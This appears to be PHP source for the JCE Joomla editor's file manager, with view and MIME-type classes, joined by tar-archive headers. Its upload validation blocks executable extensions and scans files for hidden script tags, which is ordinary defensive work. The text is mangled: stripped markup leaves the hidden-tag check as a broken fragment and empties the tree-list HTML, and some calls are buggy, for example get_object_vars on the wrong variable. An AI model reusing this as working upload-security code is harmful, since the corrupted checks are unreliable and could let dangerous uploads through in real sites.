'jpeg,jpg,gif,png,avi,wmv,wm,asf,asx,wmx,wvx,mov,qt,mpg,mp3,mp4,m4v,mpeg,ogg,ogv,webm,swf,flv,f4v,xml,dcr,rm,ra,ram,divx,html,htm,txt,rtf,pdf,doc,docx,xls,xlsx,ppt,pptx'; } /** * Return a list of allowed file extensions in selected format * * @access public * @return extension list */ public function getFileTypes($format = 'map') { $list = $this->get('filetypes'); // Remove excluded file types (those that have a - prefix character) from the list $data = array(); foreach (explode(';', $list) as $group) { if (substr(trim($group), 0, 1) === '-') { continue; } // remove excluded file types (those that have a - prefix character) from the list $data[] = preg_replace('#(,)?-([\w]+)#', '', $group); } $list = implode(';', $data); switch ($format) { case 'list': return strtolower($this->listFileTypes($list)); break; case 'array': return explode(',', strtolower($this->listFileTypes($list))); break; default: case 'map': return $list; break; } } public function setFileTypes($list = 'images=jpg,jpeg,png,gif') { $this->set('filetypes', $list); } /** * Converts the extensions map to a list * @param string $map The extensions map eg: images=jpg,jpeg,gif,png * @return string jpg,jpeg,gif,png */ private function listFileTypes($map) { return preg_replace(array('/([\w]+)=([\w]+)/', '/;/'), array('$2', ','), $map); } public function addFileTypes($types) { $list = explode(';', $this->get('filetypes')); foreach ($types as $group => $extensions) { $list[] = $group . '=' . $extensions; } $this->set('filetypes', implode(';', $list)); } /** * Maps upload file types to an upload dialog list, eg: 'images', 'jpeg,jpg,gif,png' * @return json encoded list */ private function mapUploadFileTypes() { $map = array(); // Get the filetype map $list = $this->getFileTypes(); if ($list) { $items = explode(';', $list); $all = array(); // [images=jpeg,jpg,gif,png] foreach ($items as $item) { // ['images', 'jpeg,jpg,gif,png'] $kv = explode('=', $item); $extensions = implode(';', preg_replace('/(\w+)/i', '*.$1', explode(',', $kv[1]))); $map[WFText::_('WF_FILEGROUP_' . $kv[0], WFText::_($kv[0])) . ' (' . $extensions . ')'] = $kv[1]; $all[] = $kv[1]; } if (count($items) > 1) { // All file types $map[WFText::_('WF_FILEGROUP_ALL') . ' (*.*)'] = implode(',', $all); } } return $map; } /** * Returns the result variable * @return var $_result */ public function getResult() { return $this->_result; } public function setResult($value, $key = null) { if ($key) { if (is_array($this->_result[$key])) { $this->_result[$key][] = $value; } else { $this->_result[$key] = $value; } } else { $this->_result = $value; } } function checkFeature($action, $type = null) { $features = $this->get('features'); if ($type) { if (isset($features[$type])) { $type = $features[$type]; if (isset($type[$action])) { return (bool) $type[$action]; } } } else { if (isset($features[$action])) { return (bool) $features[$action]; } } return false; } public function getBaseDir() { $filesystem = $this->getFileSystem(); return $filesystem->getBaseDir(); } /** * Get the list of files in a given folder * @param string $relative The relative path of the folder * @param string $filter A regex filter option * @return File list array */ private function getFiles($relative, $filter = '.') { $filesystem = $this->getFileSystem(); $list = $filesystem->getFiles($relative, $filter); return $list; } /** * Get the list of folder in a given folder * @param string $relative The relative path of the folder * @return Folder list array */ private function getFolders($relative, $filter) { $filesystem = $this->getFileSystem(); $list = $filesystem->getFolders($relative, $filter); return $list; } /** * Get file and folder lists * @return array Array of file and folder list objects * @param string $relative Relative or absolute path based either on source url or current directory * @param int $limit List limit * @param int $start list start point */ public function getItems($path, $limit = 25, $start = 0, $filter = '') { $filesystem = $this->getFileSystem(); $files = array(); $folders = array(); clearstatcache(); // decode path $path = rawurldecode($path); WFUtility::checkPath($path); // get source dir from path eg: images/stories/fruit.jpg = images/stories $dir = $filesystem->getSourceDir($path); $filetypes = explode(',', $this->getFileTypes('list')); $name = ''; if ($filter) { if ($filter{0} == '.') { $ext = WFUtility::makeSafe($filter); for($i = 0; $i < count($filetypes); $i++) { if (preg_match('#^' . $ext . '#', $filetypes[$i]) === false) { unset($filetypes[$i]); } } } else { $name = '^(?i)' . WFUtility::makeSafe($filter) . '.*'; } } // get file list by filter $files = self::getFiles($dir, $name . '\.(?i)(' . implode('|', $filetypes) . ')$'); if (empty($filter) || $filter{0} != '.') { // get folder list $folders = self::getFolders($dir, '^(?i)' . WFUtility::makeSafe($filter) . '.*'); } $folderArray = array(); $fileArray = array(); $items = array_merge($folders, $files); if ($items) { if (is_numeric($limit)) { $items = array_slice($items, $start, $limit); } foreach ($items as $item) { $item['classes'] = ''; if ($item['type'] == 'folders') { $folderArray[] = $item; } else { // check for selected item $item['selected'] = $filesystem->isMatch($item['url'], $path); $fileArray[] = $item; } } } $result = array( 'folders' => $folderArray, 'files' => $fileArray, 'total' => array( 'folders' => count($folders), 'files' => count($files) ) ); // Fire Event passing result as reference $this->fireEvent('onGetItems', array(&$result)); return $result; } /** * Get a tree node * @param string $dir The relative path of the folder to search * @return Tree node array */ public function getTreeItem($path) { $filesystem = $this->getFileSystem(); $path = rawurldecode($path); WFUtility::checkPath($path); // get source dir from path eg: images/stories/fruit.jpg = images/stories $dir = $filesystem->getSourceDir($path); $folders = $this->getFolders($dir); $array = array(); if (!empty($folders)) { foreach ($folders as $folder) { $array[] = array( 'id' => $folder['id'], 'name' => $folder['name'], 'class' => 'folder' ); } } $result = array( 'folders' => $array ); return $result; } /** * Escape a string * * @return string Escaped string * @param string $string */ private function escape($string) { return preg_replace(array( '/%2F/', '/%3F/', '/%40/', '/%2A/', '/%2B/' ), array( '/', '?', '@', '*', '+' ), rawurlencode($string)); } /** * Build a tree list * @param string $dir The relative path of the folder to search * @return Tree html string */ public function getTree($path) { $filesystem = $this->getFileSystem(); // decode path $path = rawurldecode($path); WFUtility::checkPath($path); // get source dir from path eg: images/stories/fruit.jpg = images/stories $dir = $filesystem->getSourceDir($path); $result = $this->getTreeItems($dir); return $result; } /** * Get Tree list items as html list * * @return Tree list html string * @param string $dir Current directory * @param boolean $root[optional] Is root directory * @param boolean $init[optional] Is tree initialisation */ public function getTreeItems($dir, $root = true, $init = true) { $result = ''; static $treedir = null; if ($init) { $treedir = $dir; if ($root) { $result = '
      • '; $dir = '/'; } } $folders = $this->getFolders($dir); if ($folders) { $result .= '
          '; foreach ($folders as $folder) { $open = strpos($treedir, ltrim($folder['id'], '/')) === 0 ? ' open' : ''; $result .= '
        • '; if ($open) { if ($h = $this->getTreeItems($folder['id'], false, false)) { $result .= $h; } } $result .= '
        • '; } $result .= '
        '; } if ($init && $root) { $result .= '
      '; } $init = false; return $result; } /** * Get a folders properties * * @return array Array of properties * @param string $dir Folder relative path */ public function getFolderDetails($dir) { WFUtility::checkPath($dir); $filesystem = $this->getFileSystem(); // get array with folder date and content count eg: array('date'=>'00-00-000', 'folders'=>1, 'files'=>2); return $filesystem->getFolderDetails($dir); } /** * Get a files properties * * @return array Array of properties * @param string $file File relative path */ function getFileDetails($file) { WFUtility::checkPath($file); $filesystem = $this->getFileSystem(); // get array with folder date and content count eg: array('date'=>'00-00-000', 'folders'=>1, 'files'=>2); return $filesystem->getFileDetails($file); } /** * Create standard actions based on access */ private function getStdActions() { $this->addAction('help', '', '', WFText::_('WF_BUTTON_HELP')); if ($this->checkFeature('upload')) { $this->addAction('upload'); $this->setRequest(array($this, 'upload')); } if ($this->checkFeature('create', 'folder')) { $this->addAction('folder_new'); $this->setRequest(array($this, 'folderNew')); } } /** * Add an action to the list * * @param string $name Action name * @param array $options Array of options */ public function addAction($name, $options = array()) { /* TODO */ // backwards compatability (remove in stable) $args = func_get_args(); if (count($args) == 4) { $options['icon'] = $args[1]; $options['action'] = $args[2]; $options['title'] = $args[3]; } $options = array_merge(array('name' => $name), $options); // set some defaults if (!array_key_exists('icon', $options)) { $options['icon'] = ''; } if (!array_key_exists('action', $options)) { $options['action'] = ''; } if (!array_key_exists('title', $options)) { $options['title'] = WFText::_('WF_BUTTON_' . strtoupper($name)); } $this->_actions[$name] = $options; } /** * Get all actions * @return object */ private function getActions() { return array_reverse($this->_actions); } /** * Remove an action from the list by name * @param string $name Action name to remove */ public function removeAction($name) { if (array_key_exists($this->_actions[$name])) { unset($this->_actions[$name]); } } /** * Create all standard buttons based on access */ private function getStdButtons() { if ($this->checkFeature('delete', 'folder')) { $this->addButton('folder', 'delete', array('multiple' => true)); $this->setRequest(array($this, 'deleteItem')); } if ($this->checkFeature('rename', 'folder')) { $this->addButton('folder', 'rename'); $this->setRequest(array($this, 'renameItem')); } if ($this->checkFeature('move', 'folder')) { $this->addButton('folder', 'copy', array('multiple' => true)); $this->addButton('folder', 'cut', array('multiple' => true)); $this->addButton('folder', 'paste', array('multiple' => true, 'trigger' => true)); $this->setRequest(array($this, 'copyItem')); $this->setRequest(array($this, 'moveItem')); } if ($this->checkFeature('rename', 'file')) { $this->addButton('file', 'rename'); $this->setRequest(array($this, 'renameItem')); } if ($this->checkFeature('delete', 'file')) { $this->addButton('file', 'delete', array('multiple' => true)); $this->setRequest(array($this, 'deleteItem')); } if ($this->checkFeature('move', 'file')) { $this->addButton('file', 'copy', array('multiple' => true)); $this->addButton('file', 'cut', array('multiple' => true)); $this->addButton('file', 'paste', array('multiple' => true, 'trigger' => true)); $this->setRequest(array($this, 'copyItem')); $this->setRequest(array($this, 'moveItem')); } $this->addButton('file', 'view', array('restrict' => $this->getViewable())); $this->addButton('file', 'insert'); } /** * Add a button * * @param string $type[optional] Button type (file or folder) * @param string $name Button name * @param string $icon[optional] Button icon * @param string $action[optional] Button action / function * @param string $title Button title * @param boolean $multiple[optional] Supports multiple file selection * @param boolean $trigger[optional] */ public function addButton($type = 'file', $name, $options = array()) { $options = array_merge(array('name' => $name), $options); // set some defaults if (!array_key_exists('icon', $options)) { $options['icon'] = ''; } if (!array_key_exists('action', $options)) { $options['action'] = ''; } if (!array_key_exists('title', $options)) { $options['title'] = WFText::_('WF_BUTTON_' . strtoupper($name)); } if (!array_key_exists('multiple', $options)) { $options['multiple'] = false; } if (!array_key_exists('trigger', $options)) { $options['trigger'] = false; } if (!array_key_exists('restrict', $options)) { $options['restrict'] = ''; } $this->_buttons[$type][$name] = $options; } /** * Return an object list of all buttons * @return object */ private function getButtons() { return $this->_buttons; } /** * Remove a button * @param string $type Button type * @param string $name Button name */ public function removeButton($type, $name) { if (array_key_exists($name, $this->_buttons[$type])) { unset($this->_buttons[$type][$name]); } } /** * Change a buttons properties * @param string $type Button type * @param string $name Button name * @param string $keys Button keys */ public function changeButton($type, $name, $keys) { foreach ($keys as $key => $value) { if (isset($this->_buttons[$type][$name][$key])) { $this->_buttons[$type][$name][$key] = $value; } } } /** * Add an event * @param string $name Event name * @param string $function Event function name */ public function addEvent($name, $function) { $this->_events[$name] = $function; } /** * Execute an event * @return Evenet result * @param object $name Event name * @param array $args[optional] Optional arguments */ protected function fireEvent($name, $args = null) { if (array_key_exists($name, $this->_events)) { $event = $this->_events[$name]; if (is_array($event)) { return call_user_func_array($event, $args); } else { return call_user_func($event, $args); } } return $this->_result; } /** * Get a file icon based on extension * @return string Path to file icon * @param string $ext File extension */ public function getFileIcon($ext) { if (JFile::exists(WF_EDITOR_LIBRARIES . '/img/icons/' . $ext . '.gif')) { return $this->image('libraries.icons/' . $ext . '.gif'); } elseif (JFile::exists($this->getPluginPath() . '/img/icons/' . $ext . '.gif')) { return $this->image('plugins.icons/' . $ext . '.gif'); } else { return $this->image('libraries.icons/def.gif'); } } public function getFileSuffix() { $suffix = WFText::_('WF_MANAGER_FILE_SUFFIX'); return str_replace('WF_MANAGER_FILE_SUFFIX', '_copy', $suffix); } private function validateUploadedFile($file) { // check the POST data array if (empty($file)) { @unlink($file['tmp_name']); throw new InvalidArgumentException('INVALID UPLOAD DATA'); } // check for tmp_name and is valid uploaded file if (!isset($file['tmp_name']) || !is_uploaded_file($file['tmp_name'])) { @unlink($file['tmp_name']); throw new InvalidArgumentException('INVALID UPLOAD DATA'); } // Null byte check if (strstr($file['name'], "\u0000")) { @unlink($file['tmp_name']); throw new InvalidArgumentException('INVALID UPLOAD DATA'); } // check for invalid extension in file name if (preg_match('#\.(php|php(3|4|5)|phtml|pl|py|jsp|asp|htm|html|shtml|sh|cgi)\.#i', $file['name'])) { @unlink($file['tmp_name']); throw new InvalidArgumentException('INVALID FILE NAME'); } //clearstatcache(); // check the file sizes match /* if ((int) @filesize($file['tmp_name']) !== (int) $file['size']) { @unlink($file['tmp_name']); throw new InvalidArgumentException('INVALID FILE SIZE'); } */ // get extension $ext = WFUtility::getExtension($file['name']); // check extension is allowed $allowed = $this->getFileTypes('array'); if (is_array($allowed) && !empty($allowed) && in_array(strtolower($ext), $allowed) === false) { @unlink($file['tmp_name']); throw new InvalidArgumentException(WFText::_('WF_MANAGER_UPLOAD_INVALID_EXT_ERROR')); } // validate image if (preg_match('#\.(jpeg|jpg|jpe|png|gif|wbmp|bmp|tiff|tif)$#i', $file['name'])) { if (@getimagesize($file['tmp_name']) === false) { @unlink($file['tmp_name']); throw new InvalidArgumentException('INVALID IMAGE FILE'); } } $upload = $this->get('upload'); // validate mimetype if ($upload['validate_mimetype']) { wfimport('editor.libraries.classes.mime'); if (WFMimeType::check($file['name'], $file['tmp_name']) === false) { @unlink($file['tmp_name']); throw new InvalidArgumentException('INVALID MIME TYPE'); } } // xss check $xss_check = JFile::read($file['tmp_name'], false, 256); // check for hidden php tags if (stripos($xss_check, ' or ') !== false || stripos($xss_check, '<' . $tag . ' ') !== false) { @unlink($file['tmp_name']); throw new InvalidArgumentException('INVALID TAG IN FILE'); } } } } /** * Upload a file. * @return array $error on failure or uploaded file name on success */ public function upload() { // Check for request forgeries WFToken::checkToken() or die(); //JError::setErrorHandling(E_ALL, 'callback', array('WFError', 'raiseError')); // check for feature access if (!$this->checkFeature('upload')) { JError::raiseError(403, 'Access to this resource is restricted'); } jimport('joomla.filesystem.file'); // get uploaded file $file = JRequest::getVar('file', '', 'files', 'array'); // validate file data $this->validateUploadedFile($file); $wf = WFEditor::getInstance(); // HTTP headers for no cache etc //header('Content-type: text/plain; charset=UTF-8'); header('Content-Type: text/json;charset=UTF-8'); header("Expires: Wed, 4 Apr 1984 13:00:00 GMT"); header("Last-Modified: " . gmdate("D, d M_Y H:i:s") . " GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); // get file name $name = JRequest::getVar('name', $file['name']); // target directory $dir = JRequest::getVar('upload-dir'); // deocode directory $dir = rawurldecode($dir); // check destination path WFUtility::checkPath($dir); // decode name $name = rawurldecode($name); // check file name WFUtility::checkPath($name); // check for invalid extensions if (preg_match('#\.(php|phtml|pl|py|jsp|asp|shtml|sh|cgi)$#i', $name)) { throw new InvalidArgumentException('INVALID FILE NAME'); } // get extension $ext = WFUtility::getExtension($name); // strip extension $name = WFUtility::stripExtension($name); // make file name 'web safe' $name = WFUtility::makeSafe($name, $this->get('websafe_mode', 'utf-8'), $this->get('websafe_spaces'), $this->get('websafe_textcase')); // empty name if ($name == '') { throw new InvalidArgumentException('INVALID FILE NAME'); } // check for extension in file name if (preg_match('#\.(php|php(3|4|5)|phtml|pl|py|jsp|asp|htm|html|shtml|sh|cgi)\b#i', $name)) { throw new InvalidArgumentException('INVALID FILE NAME'); } $upload = $this->get('upload'); // add random string if ($upload['add_random']) { $name = $name . '_' . substr(md5(uniqid(rand(), 1)), 0, 5); } // rebuild file name - name + extension $name = $name . '.' . $ext; // create a filesystem result object $result = new WFFileSystemResult(); $filesystem = $this->getFileSystem(); $complete = false; $contentType = JRequest::getVar('CONTENT_TYPE', '', 'SERVER'); // Only multipart uploading is supported for now if ($contentType && strpos($contentType, "multipart") !== false) { $result = $filesystem->upload('multipart', trim($file['tmp_name']), $dir, $name); if (!$result->state) { $result->message = WFText::_('WF_MANAGER_UPLOAD_ERROR'); $result->code = 103; } @unlink($file['tmp_name']); $complete = true; } else { $result->state = false; $result->code = 103; $result->message = WFText::_('WF_MANAGER_UPLOAD_ERROR'); $complete = true; } // upload finished if ($complete) { if ($result instanceof WFFileSystemResult) { if ($result->state === true) { $path = $result->path; // get root dir eg: JPATH_SITE $root = substr($filesystem->getBaseDir(), 0, -(strlen($filesystem->getRootDir()))); // get relative path $relative = substr($path, strlen($root)); // clean $relative = WFUtility::cleanPath($relative, '/'); $this->setResult($this->fireEvent('onUpload', array($result->path, $relative))); $this->setResult(basename($result->path), 'files'); } else { $this->setResult($result->message, 'error'); } } die(json_encode($this->getResult())); } } /** * Delete the relative file(s). * @param $files the relative path to the file name or comma seperated list of multiple paths. * @return string $error on failure. */ public function deleteItem($items) { // check for feature access if (!$this->checkFeature('delete', 'folder') && !$this->checkFeature('delete', 'file')) { JError::raiseError(403, 'Access to this resource is restricted'); } $filesystem = $this->getFileSystem(); $items = explode(",", rawurldecode($items)); foreach ($items as $item) { // decode $item = rawurldecode($item); // check path WFUtility::checkPath($item); if ($filesystem->is_file($item)) { if ($this->checkFeature('delete', 'file') === false) { JError::raiseError(403, 'Access to this resource is restricted'); } } elseif ($filesystem->is_dir($item)) { if ($this->checkFeature('delete', 'folder') === false) { JError::raiseError(403, 'Access to this resource is restricted'); } } $result = $filesystem->delete($item); if ($result instanceof WFFileSystemResult) { if (!$result->state) { if ($result->message) { $this->setResult($result->message, 'error'); } else { $this->setResult(JText::sprintf('WF_MANAGER_DELETE_' . strtoupper($result->type) . '_ERROR', basename($item)), 'error'); } } else { $this->setResult($this->fireEvent('on' . ucfirst($result->type) . 'Delete', array($item))); $this->setResult($item, $result->type); } } } return $this->getResult(); } /** * Rename a file. * @param string $src The relative path of the source file * @param string $dest The name of the new file * @return string $error */ public function renameItem() { // check for feature access if (!$this->checkFeature('rename', 'folder') && !$this->checkFeature('rename', 'file')) { JError::raiseError(403, 'Access to this resource is restricted'); } $args = func_get_args(); $source = array_shift($args); $destination = array_shift($args); $source = rawurldecode($source); $destination = rawurldecode($destination); WFUtility::checkPath($source); WFUtility::checkPath($destination); // check for extension in destination name if (preg_match('#\.(php|php(3|4|5)|phtml|pl|py|jsp|asp|htm|html|shtml|sh|cgi)\b#i', $destination)) { JError::raiseError(403, 'INVALID FILE NAME'); } $filesystem = $this->getFileSystem(); if ($filesystem->is_file($source)) { if ($this->checkFeature('rename', 'file') === false) { JError::raiseError(403, 'Access to this resource is restricted'); } } elseif ($filesystem->is_dir($source)) { if ($this->checkFeature('rename', 'folder') === false) { JError::raiseError(403, 'Access to this resource is restricted'); } } $result = $filesystem->rename($source, WFUtility::makeSafe($destination, $this->get('websafe_mode'), $this->get('websafe_spaces'), $this->get('websafe_textcase')), $args); if ($result instanceof WFFileSystemResult) { if (!$result->state) { $this->setResult(WFText::sprintf('WF_MANAGER_RENAME_' . strtoupper($result->type) . '_ERROR', basename($source)), 'error'); if ($result->message) { $this->setResult($result->message, 'error'); } } else { $this->setResult($this->fireEvent('on' . ucfirst($result->type) . 'Rename', array($destination))); $this->setResult($destination, $result->type); } } return $this->getResult(); } /** * Copy a file. * @param string $files The relative file or comma seperated list of files * @param string $dest The relative path of the destination dir * @return string $error on failure */ public function copyItem($items, $destination) { // check for feature access if (!$this->checkFeature('move', 'folder') && !$this->checkFeature('move', 'file')) { JError::raiseError(403, 'Access to this resource is restricted'); } $filesystem = $this->getFileSystem(); $items = explode(",", rawurldecode($items)); // decode $destination = rawurldecode($destination); // check destination path WFUtility::checkPath($destination); foreach ($items as $item) { // decode $item = rawurldecode($item); // check source path WFUtility::checkPath($item); if ($filesystem->is_file($item)) { if ($this->checkFeature('move', 'file') === false) { JError::raiseError(403, 'Access to this resource is restricted'); } } elseif ($filesystem->is_dir($item)) { if ($this->checkFeature('move', 'folder') === false) { JError::raiseError(403, 'Access to this resource is restricted'); } } $result = $filesystem->copy($item, $destination); if ($result instanceof WFFileSystemResult) { if (!$result->state) { if ($result->message) { $this->setResult($result->message, 'error'); } else { $this->setResult(JText::sprintf('WF_MANAGER_COPY_' . strtoupper($result->type) . '_ERROR', basename($item)), 'error'); } } else { $this->setResult($this->fireEvent('on' . ucfirst($result->type) . 'Copy', array($item))); $this->setResult($destination, $result->type); } } } return $this->getResult(); } /** * Copy a file. * @param string $files The relative file or comma seperated list of files * @param string $dest The relative path of the destination dir * @return string $error on failure */ public function moveItem($items, $destination) { // check for feature access if (!$this->checkFeature('move', 'folder') && !$this->checkFeature('move', 'file')) { JError::raiseError(403, 'Access to this resource is restricted'); } $filesystem = $this->getFileSystem(); $items = explode(",", rawurldecode($items)); // decode $destination = rawurldecode($destination); // check destination path WFUtility::checkPath($destination); foreach ($items as $item) { // decode $item = rawurldecode($item); // check source path WFUtility::checkPath($item); if ($filesystem->is_file($item)) { if ($this->checkFeature('move', 'file') === false) { JError::raiseError(403, 'Access to this resource is restricted'); } } elseif ($filesystem->is_dir($item)) { if ($this->checkFeature('move', 'folder') === false) { JError::raiseError(403, 'Access to this resource is restricted'); } } $result = $filesystem->move($item, $destination); if ($result instanceof WFFileSystemResult) { if (!$result->state) { if ($result->message) { $this->setResult($result->message, 'error'); } else { $this->setResult(JText::sprintf('WF_MANAGER_MOVE_' . strtoupper($result->type) . '_ERROR', basename($item)), 'error'); } } else { $this->setResult($this->fireEvent('on' . ucfirst($result->type) . 'Move', array($item))); $this->setResult($destination, $result->type); } } } return $this->getResult(); } /** * New folder * @param string $dir The base dir * @param string $new_dir The folder to be created * @return string $error on failure */ public function folderNew() { if ($this->checkFeature('create', 'folder') === false) { JError::raiseError(403, 'Access to this resource is restricted'); } $args = func_get_args(); $dir = array_shift($args); $new = array_shift($args); // decode $dir = rawurldecode($dir); $new = rawurldecode($new); $filesystem = $this->getFileSystem(); $result = $filesystem->createFolder($dir, WFUtility::makeSafe($new, $this->get('websafe_mode'), $this->get('websafe_spaces'), $this->get('websafe_textcase')), $args); if ($result instanceof WFFileSystemResult) { if (!$result->state) { if ($result->message) { $this->setResult($result->message, 'error'); } else { $this->setResult(JText::sprintf('WF_MANAGER_NEW_FOLDER_ERROR', basename($new)), 'error'); } } else { $this->setResult($this->fireEvent('onFolderNew', array($new))); } } return $this->getResult(); } private function getUploadValue() { $upload = trim(ini_get('upload_max_filesize')); $post = trim(ini_get('post_max_size')); $upload = WFUtility::convertSize($upload); $post = WFUtility::convertSize($post); if (intval($upload) <= intval($post)) { return $upload; } return $post; } private function getUploadDefaults() { $filesystem = $this->getFileSystem(); $features = $filesystem->get('upload'); $elements = isset($features['elements']) ? $features['elements'] : array(); $upload_max = $this->getUploadValue(); $upload = $this->get('upload'); if (empty($upload['max_size'])) { $upload['max_size'] = 1024; } // get upload size $size = intval(preg_replace('/[^0-9]/', '', $upload['max_size'])) . 'kb'; // must not exceed server maximum if ((int) $size * 1024 > (int) $upload_max) { $size = $upload_max / 1024 . 'kb'; } $runtimes = array(); if (is_string($upload['runtimes'])) { $runtimes = explode(',', $upload['runtimes']); } else { foreach ($upload['runtimes'] as $k => $v) { $runtimes[] = $v; } } // remove flash runtime if $chunk_size is 0 (no chunking) /* if (!$chunk_size) { unset($runtimes[array_search('flash', $runtimes)]); } */ $defaults = array( 'runtimes' => implode(',', $runtimes), 'size' => $size, 'filter' => $this->mapUploadFileTypes(true), 'elements' => $elements ); // only add chunk size if it has a value /* if ($chunk_size) { $defaults['chunk_size'] = $chunk_size; } */ if (isset($features['dialog'])) { $defaults['dialog'] = $features['dialog']; } return $defaults; } public function getDimensions($file) { $filesystem = $this->getFileSystem(); return $filesystem->getDimensions($file); } protected function getSettings($settings = array()) { $filesystem = $this->getFileSystem(); $default = array( 'dir' => $filesystem->getRootDir(), 'actions' => $this->getActions(), 'buttons' => $this->getButtons(), 'upload' => $this->getUploadDefaults(), 'folder_tree' => $this->get('folder_tree'), 'listlimit' => $this->get('list_limit'), 'websafe_mode' => $this->get('websafe_mode'), 'websafe_spaces' => $this->get('websafe_spaces'), 'websafe_textcase' => $this->get('websafe_textcase'), 'date_format' => $this->get('date_format') ); $properties = array('base', 'delete', 'rename', 'folder_new', 'copy', 'move'); foreach ($properties as $property) { if ($filesystem->get($property)) { $default[$property] = $filesystem->get($property); } } $settings = array_merge_recursive($default, $settings); return $settings; } } ?> com_jce/editor/libraries/classes/view.php000066600000013324150771500630014540 0ustar00setProperties($config); if (array_key_exists('template_path', $config)) { $this->addTemplatePath($config['template_path']); } else { $this->addTemplatePath($this->get('base_path') . '/views/' . $this->getName() . '/tmpl'); } } /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; * automatically searches through the template paths. * * @throws object An JError object. * JView::display() * @copyright Copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php */ public function display($tpl = null) { $result = $this->loadTemplate($tpl); if (JError::isError($result)) { return $result; } echo $result; } /** * Assigns variables to the view script via differing strategies. * @access public * @return bool True on success, false on failure. * * JView::assign() * @copyright Copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php */ public function assign() { $arg0 = @func_get_arg(0); $arg1 = @func_get_arg(1); if (is_object($arg0)) { // Assign public properties foreach (get_object_vars($key) as $key => $value) { if (substr($key, 0, 1) != '_') { $this->$key = $value; } } return true; } if (is_array($arg0)) { foreach ($arg0 as $key => $value) { if (substr($key, 0, 1) != '_') { $this->$key = $value; } } return true; } if (is_string($arg0) && substr($arg0, 0, 1) != '_') { $this->$arg0 = $arg1; return true; } return false; } /** * Assign variable for the view (by reference). * @access public * * @param string $key The name for the reference in the view. * @param mixed &$val The referenced variable. * * @return bool True on success, false on failure. * * JView::assignRef() * @copyright Copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php */ public function assignRef($key, &$value) { if (is_string($key) && substr($key, 0, 1) != '_') { $this->$key = $value; return true; } } public function getName() { return $this->get('name'); } public function setLayout($layout) { $this->set('layout', $layout); } public function getLayout() { return $this->get('layout'); } public function addTemplatePath($path) { $this->path[] = $path; } public function getTemplatePath() { return $this->path; } /** * Load a template file * * @access public * @param string $tpl The name of the template source file ... * automatically searches the template paths and compiles as needed. * @return string The output of the the template script. * * JView::loadTemplate() * @copyright Copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. * @license GNU/GPL, see LICENSE.php */ public function loadTemplate($tpl = null) { // clear prior output $output = null; $template = null; //create the template file name based on the layout $file = isset($tpl) ? $this->getLayout() . '_' . $tpl : $this->getLayout(); // clean the file name $file = preg_replace('/[^A-Z0-9_\.-]/i', '', $file); $tpl = preg_replace('/[^A-Z0-9_\.-]/i', '', $tpl); // load the template script jimport('joomla.filesystem.path'); $template = JPath::find($this->getTemplatePath(), $file . '.php'); if ($template != false) { // unset so as not to introduce into template scope unset($tpl); unset($file); // never allow a 'this' property if (isset($this->this)) { unset($this->this); } // start capturing output into a buffer ob_start(); // include the requested template filename in the local scope // (this will execute the view logic). include $template; // done with the requested template; get the buffer and // clear it. $output = ob_get_contents(); ob_end_clean(); return $output; } else { return JError::raiseError(500, 'Layout "' . $file . '" not found'); } } }com_jce/editor/libraries/classes/index.html000066600000000054150771500630015046 0ustar00com_jce/editor/libraries/classes/mime.php000066600000100075150771500630014515 0ustar00 'ez', 'application/applixware' => 'aw', 'application/atom+xml' => 'atom', 'application/atomcat+xml' => 'atomcat', 'application/atomsvc+xml' => 'atomsvc', 'application/ccxml+xml' => 'ccxml', 'application/cu-seeme' => 'cu', 'application/davmount+xml' => 'davmount', 'application/dssc+der' => 'dssc', 'application/dssc+xml' => 'xdssc', 'application/ecmascript' => 'ecma', 'application/emma+xml' => 'emma', 'application/epub+zip' => 'epub', 'application/font-tdpfr' => 'pfr', 'application/hyperstudio' => 'stk', 'application/ipfix' => 'ipfix', 'application/java-archive' => 'jar', 'application/java-serialized-object' => 'ser', 'application/java-vm' => 'class', 'application/javascript' => 'js', 'application/json' => 'json', 'application/lost+xml' => 'lostxml', 'application/mac-binhex40' => 'hqx', 'application/mac-compactpro' => 'cpt', 'application/marc' => 'mrc', 'application/mathematica' => 'ma nb mb', 'application/mathml+xml' => 'mathml', 'application/mbox' => 'mbox', 'application/mediaservercontrol+xml' => 'mscml', 'application/mp4' => 'mp4s', 'application/msword' => 'doc dot ppt xls docx pptx ppsx xlsx sldx potx xltx dotx', 'application/mxf' => 'mxf', 'application/octet-stream' => 'bin dms lha lrf lzh so iso dmg dist distz pkg bpk dump elc deploy', 'application/oda' => 'oda', 'application/oebps-package+xml' => 'opf', 'application/ogg' => 'ogx ogg ogv oga', 'application/onenote' => 'onetoc onetoc2 onetmp onepkg', 'application/patch-ops-error+xml' => 'xer', 'application/pdf' => 'pdf', 'application/pgp-encrypted' => 'pgp', 'application/pgp-signature' => 'asc sig', 'application/pics-rules' => 'prf', 'application/pkcs10' => 'p10', 'application/pkcs7-mime' => 'p7m p7c', 'application/pkcs7-signature' => 'p7s', 'application/pkix-cert' => 'cer', 'application/pkix-crl' => 'crl', 'application/pkix-pkipath' => 'pkipath', 'application/pkixcmp' => 'pki', 'application/pls+xml' => 'pls', 'application/postscript' => 'ai eps ps', 'application/prs.cww' => 'cww', 'application/rdf+xml' => 'rdf', 'application/reginfo+xml' => 'rif', 'application/relax-ng-compact-syntax' => 'rnc', 'application/resource-lists+xml' => 'rl', 'application/resource-lists-diff+xml' => 'rld', 'application/rls-services+xml' => 'rs', 'application/rsd+xml' => 'rsd', 'application/rss+xml' => 'rss', 'application/rtf' => 'rtf', 'application/sbml+xml' => 'sbml', 'application/scvp-cv-request' => 'scq', 'application/scvp-cv-response' => 'scs', 'application/scvp-vp-request' => 'spq', 'application/scvp-vp-response' => 'spp', 'application/sdp' => 'sdp', 'application/set-payment-initiation' => 'setpay', 'application/set-registration-initiation' => 'setreg', 'application/shf+xml' => 'shf', 'application/smil+xml' => 'smi smil', 'application/sparql-query' => 'rq', 'application/sparql-results+xml' => 'srx', 'application/srgs' => 'gram', 'application/srgs+xml' => 'grxml', 'application/ssml+xml' => 'ssml', 'application/vnd.3gpp.pic-bw-large' => 'plb', 'application/vnd.3gpp.pic-bw-small' => 'psb', 'application/vnd.3gpp.pic-bw-var' => 